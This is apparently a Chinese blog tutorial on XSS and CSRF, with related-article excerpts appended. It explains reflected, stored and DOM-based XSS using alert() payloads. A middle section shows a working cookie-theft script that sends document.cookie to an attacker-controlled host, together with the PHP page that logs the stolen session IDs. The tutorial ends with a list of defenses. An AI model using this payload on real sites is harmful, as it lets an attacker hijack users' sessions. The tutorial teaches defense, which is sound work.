Xss和Csrf介绍

Xss和Csrf介绍

Xss

Xss(跨站脚本攻击),全称Cross Site Scripting,恶意攻击者向web页面中植入恶意js代码,当用户浏览到该页时,植入的代码被执行,达到恶意攻击用户的目的。

Xss攻击的危害

  • 盗取各类用户账号
  • 窃取有商业价值的资料
  • 非法转账操作
  • 强制发送电子邮件
  • 控制受害者机器向其它网站发起攻击
  • 等等...

原因分析

原因:没有对客户端提交的数据进行校验分析,导致恶意代码被植入。

根本解决:不要相信任何客户端提交的任何数据!!!

Xss攻击的分类

  • 反射型Xss攻击
  • 存贮型Xss攻击
  • DOMBasedXSS

反射型Xss攻击

又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。

正常发送消息:

http://www.test.com/message.php?send=Hello,World!

接收者将会接收信息并显示Hello,Word

非正常发送消息:

http://www.test.com/message.php?send=<script>alert("foolish!")</script>

接收者接收消息显示的时候将会弹出警告窗口。

存贮型xss攻击

又称持久性Xss攻击,存贮型Xss的攻击代码一般存储在网站的数据库中,每当用户打开网站时被执行,因此危害更大。

举个栗子:

一个简单的留言板功能,表单提交域如下,

<input type="text" name="content" value="这里是用户填写的数据">

攻击者在value填写

<script>alert('foolish!')</script>

【或者html其他标签(破坏样式。。。)、一段攻击型代码】,这些代码便被提交到了数据库中,其他用户取出数据显示的时候,将会执行这些攻击性代码。

DOMBasedXSS(基于Dom的跨站点脚本攻击)

当用户能够通过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。

前提是易受攻击的网站有一个HTML页面采用不安全的方式从document.location或document.URL或document.referrer获取数据(或者任何其他攻击者可以修改的对象),所以应该避免直接从document.location或document.URL或document.referrer获取数据。

举个栗子:

<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>

非正常操作:

http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

使用Xss攻击来盗取cookie

1、网站所在域名为www.test88.com、攻击者控制的主机www.linuxtest.com

2、test88.com中的表单,xss.html:

<!DOCTYPE html>
<html>
<head>
    <title>xss攻击</title>
    <meta charset="utf-8">
</head>
<body>

<form action="./test99.php" method="post">
留言:<input type="text" name="content" value=""><br/>
<input type="submit" name="" value='提交'>
</form>
<br/>留言记录:<br/>
</body>
</html>

3、恶意攻击者提交表单时,插入相应代码:

<script>
var Str=document.cookie;               //获取cookie
var a =document.createElement('a');        //创建a标签
a.href='http://www.linuxtest.com/test2.php?'+Str;   //攻击者主机
a.innerHTML="<img src='./aa.jpg'>";        //掩护图片
document.body.appendChild(a);              //将标签添加到页面中
</script>

4、数据(攻击代码)插入数据库

5、攻击者控制的主机中设置接收盗取的cookie:

<?php
header("content-type:text/html;charset=utf8");
echo "你的PHPSESSID被盗啦";
echo "<pre>";
print_r($_GET);
echo "</pre>";
$cookie=$_GET['PHPSESSID'];
file_put_contents('./xss.txt', $cookie);
?>

Xss漏洞的修复

  • HTML Encode
  • 将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了
  • 规定表单数据值的类型,比如年龄int、姓名int+string
  • 过滤或移除特殊的Html标签
  • 过滤JavaScript 事件的标签

HTML Encode对应关系表:

原文地址:https://www.cnblogs.com/vipzhou/p/8440610.html

时间: 2024-11-12 19:34:30

Xss和Csrf介绍的相关文章

浅说 XSS 和 CSRF

在 Web 安全领域中,XSS 和 CSRF 是最常见的攻击方式. XSS XSS,即 Cross Site Script,中译是跨站脚本攻击:其原本缩写是 CSS,但为了和层叠样式表(Cascading Style Sheet)有所区分,因而在安全领域叫做 XSS. XSS 攻击是指攻击者在网站上注入恶意的客户端代码,通过恶意脚本对客户端网页进行篡改,从而在用户浏览网页时,对用户浏览器进行控制或者获取用户隐私数据的一种攻击方式. 攻击者对客户端网页注入的恶意脚本一般包括 JavaScript,

大白话理解网络攻击(XSS、CSRF)

本文主要介绍了 XSS 和 CSRF 的攻击原理和防御措施及两者区别.接下来我们来了解下. XSS 一.XSS原理 Xss(cross-site scripting)攻击:通过向某网站写入js脚本或插入恶意 html标签来实现攻击. 比如:攻击者在论坛中放一个看似安全的链接,骗取用户点击后,窃取cookie中的用户私密信息: 或者攻击者在论坛中加一个恶意表单,当用户提交表单的时候,却把信息传送到攻击者的服务器中,而不是用户原本以为的信任站点. 二.XSS攻击的类型 分为存储性(持久型).反射型(

CSRF介绍

对于常规的Web攻击手段,如XSS.CRSF.SQL注入.(常规的不包括文件上传漏洞.DDoS攻击)等,防范措施相对来说比较容易,对症下药即可,比如XSS的防范需要转义掉输入的尖括号,防止CRSF攻击需要将cookie设置为httponly,以及增加session相关的Hash token码 ,SQL注入的防范需要将分号等字符转义,等等做起来虽然筒单,但却容易被忽视,更多的是需要从开发流程上来予以保障(这句话是给技术管理者的建议),以免因人为的疏忽而造成损失. 一.CSRF介绍 CSRF攻击的全

第二百六十五节,xss脚本攻击介绍

xss脚本攻击介绍 Cross-Site Scripting(XSS)是一类出现在 web 应用程序上的安全弱点,攻击者可以通过 XSS 插入一 些代码,使得访问页面的其他用户都可以看到,XSS 通常是可以被看作漏洞的.它允许攻击者绕过安全机 制,通过尝试各种不同的方法插入恶意代码,攻击者可以得到敏感页面的权限,会话,cookies,或者其 他的东西,XSS 分为三类 XSS 分类: 非持久性,持久性和基于 Dom(此类可以是持久的,也可以是不持久的) 非持久性: 非持久性 XSS 也被称为反射

漏洞科普:对于XSS和CSRF你究竟了解多少

转自:http://www.freebuf.com/articles/web/39234.html 随着Web2.0.社交网络.微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显. 黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使

web安全之XSS和CSRF

XSS 跨站脚本攻击(cross site script),本来缩写CSS单位了和层叠样式(Cascading Style Sheet,CSS)有所区别,所以在安全领域叫做“XSS”. XSS攻击,通常上指黑客通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击.一开始这种攻击是跨域的,但是由于今天JavaScript的强大功能以及网站前端应用的复杂化,是否跨域已经不再重要.  XSS通过代码注入,获取目标网站的的Cookie,从而发起“Cookie劫

一次解决存储型xss和csrf漏洞的简单方法

目前我知道的,存储型xss解决方法:过滤转义用户输入的脚本.标签,csrf漏洞解决方法:校验referer.加token.加验证码 而referer校验是针对存在referer的情况,因为某些请求的head里没有referer,这时不能判断请求是非法的:加token,保存在哪是个问题,如果保存在session中,当集群部署时,session不同步会导致客户端的token与处理请求的服务器的token不一致:加验证码同样的道理,而且对用户体验非常不好. 由于xss和csrf都是改变用户请求参数来达

总结 XSS 与 CSRF 两种跨站攻击

在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 [1] 已经成了普遍用法,我们已经离 SQL 注入很远了.但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们.由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心.如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义.所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”.但最近又听说了另一种跨站攻击 CS

XSS与CSRF两种跨站攻击总结

在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 [1] 已经成了普遍用法,我们已经离 SQL 注入很远了.但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们.由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心.如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义.所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”.但最近又听说了另一种跨站攻击 CS